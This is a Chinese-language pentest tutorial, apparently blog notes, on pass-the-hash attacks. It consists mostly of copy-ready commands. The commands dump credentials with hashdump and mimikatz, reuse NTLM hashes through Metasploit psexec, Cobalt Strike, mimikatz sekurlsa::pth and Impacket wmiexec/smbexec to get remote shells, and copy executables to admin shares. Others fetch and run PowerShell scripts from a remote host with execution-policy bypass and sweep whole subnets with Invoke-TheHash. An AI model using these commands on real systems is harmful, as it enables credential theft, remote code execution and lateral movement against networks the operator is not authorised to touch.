PTH简介
PASS THE Hash 也叫 Hash 传递攻击,简称 PTH。模拟用户登录不需要用户明文密码,就可以直接 用获取到的 Hash 来登录目标系统。
利用成功的前提条件是:
- 开启 445 端口 SMB 服务
- 开启 admin$ 共享
通过获取的Meterpreter会话执行hashdump得到用户hash值
![image-20240210155140579](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/weblogic%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20240210155140579.png)
注意该模块是需要管理员权限
![image-20240210160238443](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/weblogic%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20240210160238443.png)
使用 msf psexec模块
![image-20240210160638079](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/weblogic%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20240210160638079.png)
就直接使用他的hash值,就不需要具体的密码了
![image-20240210165548361](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/weblogic%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20240210165548361.png)
这个hash 的格式是
但是LM hash 其实已经被启用了,所以只只需要后面的NTML hash 就可以了,但是由于msf 需要检验格式,所以必须保证前面的字符必须是规定的长度
利用成功
这个就是hash传递 也称为 PTH
如果是使用域用户登录的话,那么就要指定smbdomain,然后使用域用户的hash
![image-20240210162329416](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/weblogic%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20240210162329416.png)
注意
如果是攻击内网的主机记得添加代理
cs hash传递攻击
- 创建一个监听器
选择 bind 或者是 smb
因为是在内网,使用bind 符合网络环境
使用psexec进行迁移
![image-20240210173949706](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/weblogic%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20240210173949706.png)
还可以使用 minikatz 的方式进行hash传递
Mimikatz Hash传递攻击
当我们获得了内网中一台主机的NTLM哈希值,我们可以利用mimikatz对这个主机进行哈希传递攻 击,执行命令成功后将会反弹回cmd
如果迷人有获取到hash请执行下面的方法
1 2
| privilege::debug sekurlsa::logonPasswords
|
如果存在错误请使用::查看对应模块,对应功能
![image-20240327104533204](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/%E5%9F%9F%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/image-20240327104533204.png)
![image-20240327104602952](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%B8%97%E9%80%8F/%E5%9F%9F%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/image-20240327104602952.png)
1
| mimikatz.exe "privilege::debug" "sekurlsa::pth /user:august /domain:10.10.10.20 /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0" exit
|
![image-20240210200220058](https://allinit-1317182407.cos.ap-nanjing.myqcloud.com/%E6%95%B4%E7%90%86/weblogic%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20240210200220058.png)
在弹出的cmd中由于含有key(对应域环境的凭证),我们还可以直接连接该主机,还可以查看目录文件等操作
1 2 3 4
| net use \\10.10.10.20\c$ dir \\10.10.10.20\c$ copy 1.exe \\10.10.10.20\c$ net use h: \\10.10.10.20\c$
|
除了上面的操作
还可以创建定时任务(有可能会报错,因为现在是system 用户,不支持),等等
Powershell Hash传递攻击
需要同时加载Invoke-WMIExec.ps1、Invoke-TheHash.ps1
https://github.com/Kevin-Robertson/Invoke-TheHash
记载脚本
但是使用这个方式,需要设置(-ep/-exec bypass)
或者是远程加载就不需要设置
1 2 3 4
| powershell -exec bypass
Import-Module .\Invoke-WMIExec.ps1 Import-Module .\Invoke-TheHash.ps1
|
1 2 3 4
| powershell -exec bypass
IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/Invoke-WMIExec.ps1'); IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.86:8000/Invoke-TheHash.ps1');
|
1
| Invoke-TheHash -Type WMIExec -Target 192.168.1.0/24 -Username administrator -Hash 579110c49145015c47ecd267657d3174
|
批量撞指定的内网机器
1 2 3 4 5
| 工作组: PS C:\Users\Administrator> Invoke-TheHash -Type WMIExec -Target 192.168.1.0/24 -Username administrator -Hash b4e535a9bb56bcc084602062c9e2a9d4
域: PS C:\Users\Administrator> Invoke-TheHash -Type WMIExec -Target 10.10.10.0/24 -Domain mingy -Username administrator -Hash e1c61709dffcf154ac9d77b5024f6d10
|
利用Impacket - wmiexec.exe传递攻击
该脚本是通过445端口进行通信的,不是135
1 2
| wmiexec.exe -hashes :518B98AD4178A53695DC997AA02D455C 域名/administrator@192.168.3.123 "ipconfig"
|
1 2 3 4 5
| 命令执行: wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:45a524862326cb9e7d85af4017a000f0 administrator@10.10.10.20 "whoami"
得到shell: smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:45a524862326cb9e7d85af4017a000f0 administrator@10.10.10.20
|
Linux
1 2 3 4 5
| python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:45a524862326cb9e7d85af4017a000f0 administrator@10.10.10.20 "ipconfig"
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:45a524862326cb9e7d85af4017a000f0 域名/administrator@10.10.10.20 "ipconfig"
|